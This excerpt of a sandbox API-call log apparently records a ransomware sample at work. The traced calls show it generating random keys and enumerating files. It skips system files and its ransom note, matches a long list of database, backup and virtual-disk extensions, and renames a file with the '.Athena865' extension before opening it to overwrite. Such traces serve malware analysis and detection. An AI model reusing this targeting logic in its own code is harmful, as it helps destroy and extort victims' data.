(hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24740) returned 0x170000 [0090.195] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0090.196] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.196] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.196] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0090.198] CloseHandle (hObject=0x154) returned 1 [0090.198] CloseHandle (hObject=0x17c) returned 1 [0090.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0090.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0090.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.199] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="..") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="windows") returned -1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="bootmgr") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="temp") returned -1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="pagefile.sys") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="boot") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="ids.txt") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="ntuser.dat") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="perflogs") returned 1 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2="MSBuild") returned 1 [0090.199] lstrlenW (lpString="sqlceme35.dll") returned 13 [0090.199] lstrcpyW (in: lpString1=0x241e8be, lpString2="sqlceme35.dll" | out: lpString1="sqlceme35.dll") returned="sqlceme35.dll" [0090.199] lstrlenW (lpString="sqlceme35.dll") returned 13 [0090.199] lstrlenW (lpString="Athena865") returned 9 [0090.199] lstrcmpiW (lpString1="eme35.dll", lpString2="Athena865") returned 1 [0090.199] lstrlenW (lpString=".dll") returned 4 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".dll") returned 1 [0090.199] lstrlenW (lpString=".lnk") returned 4 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".lnk") returned 1 [0090.199] lstrlenW (lpString=".ini") returned 4 [0090.199] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".ini") returned 1 [0090.200] lstrlenW (lpString=".sys") returned 4 [0090.200] lstrcmpiW (lpString1="sqlceme35.dll", lpString2=".sys") returned 1 [0090.200] lstrlenW (lpString="sqlceme35.dll") returned 13 [0090.200] lstrlenW (lpString="bak") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0090.200] lstrlenW (lpString="ba_") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0090.200] lstrlenW (lpString="dbb") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0090.200] lstrlenW (lpString="vmdk") returned 4 [0090.200] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0090.200] lstrlenW (lpString="rar") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0090.200] lstrlenW (lpString="zip") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0090.200] lstrlenW (lpString="tgz") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0090.200] lstrlenW (lpString="vbox") returned 4 [0090.200] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0090.200] lstrlenW (lpString="vdi") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0090.200] lstrlenW (lpString="vhd") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0090.200] lstrlenW (lpString="vhdx") returned 4 [0090.200] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0090.200] lstrlenW (lpString="avhd") returned 4 [0090.200] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0090.200] lstrlenW (lpString="db") returned 2 [0090.200] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0090.200] lstrlenW (lpString="db2") returned 3 [0090.200] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0090.201] lstrlenW (lpString="db3") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0090.201] lstrlenW (lpString="dbf") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0090.201] lstrlenW (lpString="mdf") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0090.201] lstrlenW (lpString="mdb") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0090.201] lstrlenW (lpString="sql") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0090.201] lstrlenW (lpString="sqlite") returned 6 [0090.201] lstrcmpiW (lpString1="35.dll", lpString2="sqlite") returned -1 [0090.201] lstrlenW (lpString="sqlite3") returned 7 [0090.201] lstrcmpiW (lpString1="e35.dll", lpString2="sqlite3") returned -1 [0090.201] lstrlenW (lpString="sqlitedb") returned 8 [0090.201] lstrcmpiW (lpString1="me35.dll", lpString2="sqlitedb") returned -1 [0090.201] lstrlenW (lpString="xml") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0090.201] lstrlenW (lpString="$er") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0090.201] lstrlenW (lpString="4dd") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0090.201] lstrlenW (lpString="4dl") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0090.201] lstrlenW (lpString="^^^") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0090.201] lstrlenW (lpString="abs") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0090.201] lstrlenW (lpString="abx") returned 3 [0090.201] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0090.202] lstrlenW (lpString="accdb") returned 5 [0090.202] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0090.202] lstrlenW (lpString="accdc") returned 5 [0090.202] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0090.202] lstrlenW (lpString="accde") returned 5 [0090.202] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0090.202] lstrlenW (lpString="accdr") returned 5 [0090.202] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0090.202] lstrlenW (lpString="accdt") returned 5 [0090.202] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0090.202] lstrlenW (lpString="accdw") returned 5 [0090.202] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0090.202] lstrlenW (lpString="accft") returned 5 [0090.202] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0090.202] lstrlenW (lpString="adb") returned 3 [0090.202] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.202] lstrlenW (lpString="adb") returned 3 [0090.202] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0090.202] lstrlenW (lpString="ade") returned 3 [0090.202] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0090.202] lstrlenW (lpString="adf") returned 3 [0090.202] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0090.202] lstrlenW (lpString="adn") returned 3 [0090.202] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0090.202] lstrlenW (lpString="adp") returned 3 [0090.202] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0090.202] lstrlenW (lpString="alf") returned 3 [0090.202] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0090.202] lstrlenW (lpString="ask") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0090.203] lstrlenW (lpString="btr") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0090.203] lstrlenW (lpString="cat") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0090.203] lstrlenW (lpString="cdb") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0090.203] lstrlenW (lpString="ckp") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0090.203] lstrlenW (lpString="cma") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0090.203] lstrlenW (lpString="cpd") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0090.203] lstrlenW (lpString="dacpac") returned 6 [0090.203] lstrcmpiW (lpString1="35.dll", lpString2="dacpac") returned -1 [0090.203] lstrlenW (lpString="dad") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0090.203] lstrlenW (lpString="dadiagrams") returned 10 [0090.203] lstrcmpiW (lpString1="ceme35.dll", lpString2="dadiagrams") returned -1 [0090.203] lstrlenW (lpString="daschema") returned 8 [0090.203] lstrcmpiW (lpString1="me35.dll", lpString2="daschema") returned 1 [0090.203] lstrlenW (lpString="db-journal") returned 10 [0090.203] lstrcmpiW (lpString1="ceme35.dll", lpString2="db-journal") returned -1 [0090.203] lstrlenW (lpString="db-shm") returned 6 [0090.203] lstrcmpiW (lpString1="35.dll", lpString2="db-shm") returned -1 [0090.203] lstrlenW (lpString="db-wal") returned 6 [0090.203] lstrcmpiW (lpString1="35.dll", lpString2="db-wal") returned -1 [0090.203] lstrlenW (lpString="dbc") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0090.203] lstrlenW (lpString="dbs") returned 3 [0090.203] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0090.204] lstrlenW (lpString="dbt") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0090.204] lstrlenW (lpString="dbv") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0090.204] lstrlenW (lpString="dbx") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0090.204] lstrlenW (lpString="dcb") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0090.204] lstrlenW (lpString="dct") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0090.204] lstrlenW (lpString="dcx") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0090.204] lstrlenW (lpString="ddl") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0090.204] lstrlenW (lpString="dlis") returned 4 [0090.204] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0090.204] lstrlenW (lpString="dp1") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0090.204] lstrlenW (lpString="dqy") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0090.204] lstrlenW (lpString="dsk") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0090.204] lstrlenW (lpString="dsn") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0090.204] lstrlenW (lpString="dtsx") returned 4 [0090.204] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0090.204] lstrlenW (lpString="dxl") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0090.204] lstrlenW (lpString="eco") returned 3 [0090.204] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0090.205] lstrlenW (lpString="ecx") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0090.205] lstrlenW (lpString="edb") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0090.205] lstrlenW (lpString="epim") returned 4 [0090.205] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0090.205] lstrlenW (lpString="fcd") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0090.205] lstrlenW (lpString="fdb") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0090.205] lstrlenW (lpString="fic") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0090.205] lstrlenW (lpString="flexolibrary") returned 12 [0090.205] lstrcmpiW (lpString1="qlceme35.dll", lpString2="flexolibrary") returned 1 [0090.205] lstrlenW (lpString="fm5") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0090.205] lstrlenW (lpString="fmp") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0090.205] lstrlenW (lpString="fmp12") returned 5 [0090.205] lstrcmpiW (lpString1="5.dll", lpString2="fmp12") returned -1 [0090.205] lstrlenW (lpString="fmpsl") returned 5 [0090.205] lstrcmpiW (lpString1="5.dll", lpString2="fmpsl") returned -1 [0090.205] lstrlenW (lpString="fol") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0090.205] lstrlenW (lpString="fp3") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0090.205] lstrlenW (lpString="fp4") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0090.205] lstrlenW (lpString="fp5") returned 3 [0090.205] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0090.206] lstrlenW (lpString="fp7") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0090.206] lstrlenW (lpString="fpt") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0090.206] lstrlenW (lpString="frm") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0090.206] lstrlenW (lpString="gdb") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.206] lstrlenW (lpString="gdb") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0090.206] lstrlenW (lpString="grdb") returned 4 [0090.206] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0090.206] lstrlenW (lpString="gwi") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0090.206] lstrlenW (lpString="hdb") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0090.206] lstrlenW (lpString="his") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0090.206] lstrlenW (lpString="ib") returned 2 [0090.206] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0090.206] lstrlenW (lpString="idb") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0090.206] lstrlenW (lpString="ihx") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0090.206] lstrlenW (lpString="itdb") returned 4 [0090.206] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0090.206] lstrlenW (lpString="itw") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0090.206] lstrlenW (lpString="jet") returned 3 [0090.206] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0090.206] lstrlenW (lpString="jtx") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0090.207] lstrlenW (lpString="kdb") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0090.207] lstrlenW (lpString="kexi") returned 4 [0090.207] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0090.207] lstrlenW (lpString="kexic") returned 5 [0090.207] lstrcmpiW (lpString1="5.dll", lpString2="kexic") returned -1 [0090.207] lstrlenW (lpString="kexis") returned 5 [0090.207] lstrcmpiW (lpString1="5.dll", lpString2="kexis") returned -1 [0090.207] lstrlenW (lpString="lgc") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0090.207] lstrlenW (lpString="lwx") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0090.207] lstrlenW (lpString="maf") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0090.207] lstrlenW (lpString="maq") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0090.207] lstrlenW (lpString="mar") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0090.207] lstrlenW (lpString="marshal") returned 7 [0090.207] lstrcmpiW (lpString1="e35.dll", lpString2="marshal") returned -1 [0090.207] lstrlenW (lpString="mas") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0090.207] lstrlenW (lpString="mav") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0090.207] lstrlenW (lpString="maw") returned 3 [0090.207] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0090.207] lstrlenW (lpString="mdbhtml") returned 7 [0090.207] lstrcmpiW (lpString1="e35.dll", lpString2="mdbhtml") returned -1 [0090.207] lstrlenW (lpString="mdn") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0090.208] lstrlenW (lpString="mdt") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0090.208] lstrlenW (lpString="mfd") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0090.208] lstrlenW (lpString="mpd") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0090.208] lstrlenW (lpString="mrg") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0090.208] lstrlenW (lpString="mud") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0090.208] lstrlenW (lpString="mwb") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0090.208] lstrlenW (lpString="myd") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0090.208] lstrlenW (lpString="ndf") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0090.208] lstrlenW (lpString="nnt") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0090.208] lstrlenW (lpString="nrmlib") returned 6 [0090.208] lstrcmpiW (lpString1="35.dll", lpString2="nrmlib") returned -1 [0090.208] lstrlenW (lpString="ns2") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0090.208] lstrlenW (lpString="ns3") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0090.208] lstrlenW (lpString="ns4") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0090.208] lstrlenW (lpString="nsf") returned 3 [0090.208] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0090.208] lstrlenW (lpString="nv") returned 2 [0090.209] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0090.209] lstrlenW (lpString="nv2") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0090.209] lstrlenW (lpString="nwdb") returned 4 [0090.209] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0090.209] lstrlenW (lpString="nyf") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0090.209] lstrlenW (lpString="odb") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.209] lstrlenW (lpString="odb") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0090.209] lstrlenW (lpString="oqy") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0090.209] lstrlenW (lpString="ora") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0090.209] lstrlenW (lpString="orx") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0090.209] lstrlenW (lpString="owc") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0090.209] lstrlenW (lpString="p96") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0090.209] lstrlenW (lpString="p97") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0090.209] lstrlenW (lpString="pan") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0090.209] lstrlenW (lpString="pdb") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0090.209] lstrlenW (lpString="pdm") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0090.209] lstrlenW (lpString="pnz") returned 3 [0090.209] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0090.210] lstrlenW (lpString="qry") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0090.210] lstrlenW (lpString="qvd") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0090.210] lstrlenW (lpString="rbf") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0090.210] lstrlenW (lpString="rctd") returned 4 [0090.210] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0090.210] lstrlenW (lpString="rod") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0090.210] lstrlenW (lpString="rodx") returned 4 [0090.210] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0090.210] lstrlenW (lpString="rpd") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0090.210] lstrlenW (lpString="rsd") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0090.210] lstrlenW (lpString="sas7bdat") returned 8 [0090.210] lstrcmpiW (lpString1="me35.dll", lpString2="sas7bdat") returned -1 [0090.210] lstrlenW (lpString="sbf") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0090.210] lstrlenW (lpString="scx") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0090.210] lstrlenW (lpString="sdb") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0090.210] lstrlenW (lpString="sdc") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0090.210] lstrlenW (lpString="sdf") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0090.210] lstrlenW (lpString="sis") returned 3 [0090.210] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0090.211] lstrlenW (lpString="spq") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0090.211] lstrlenW (lpString="te") returned 2 [0090.211] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0090.211] lstrlenW (lpString="teacher") returned 7 [0090.211] lstrcmpiW (lpString1="e35.dll", lpString2="teacher") returned -1 [0090.211] lstrlenW (lpString="tmd") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0090.211] lstrlenW (lpString="tps") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0090.211] lstrlenW (lpString="trc") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.211] lstrlenW (lpString="trc") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0090.211] lstrlenW (lpString="trm") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0090.211] lstrlenW (lpString="udb") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0090.211] lstrlenW (lpString="udl") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0090.211] lstrlenW (lpString="usr") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0090.211] lstrlenW (lpString="v12") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0090.211] lstrlenW (lpString="vis") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0090.211] lstrlenW (lpString="vpd") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0090.211] lstrlenW (lpString="vvv") returned 3 [0090.211] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0090.212] lstrlenW (lpString="wdb") returned 3 [0090.212] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0090.212] lstrlenW (lpString="wmdb") returned 4 [0090.212] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0090.212] lstrlenW (lpString="wrk") returned 3 [0090.212] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0090.212] lstrlenW (lpString="xdb") returned 3 [0090.212] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0090.212] lstrlenW (lpString="xld") returned 3 [0090.212] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0090.212] lstrlenW (lpString="xmlff") returned 5 [0090.212] lstrcmpiW (lpString1="5.dll", lpString2="xmlff") returned -1 [0090.212] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceme35.dll.Athena865") returned 82 [0090.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceme35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceme35.dll"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceme35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceme35.dll.athena865"), dwFlags=0x1) returned 1 [0090.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceme35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceme35.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.213] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88640) returned 1 [0090.213] 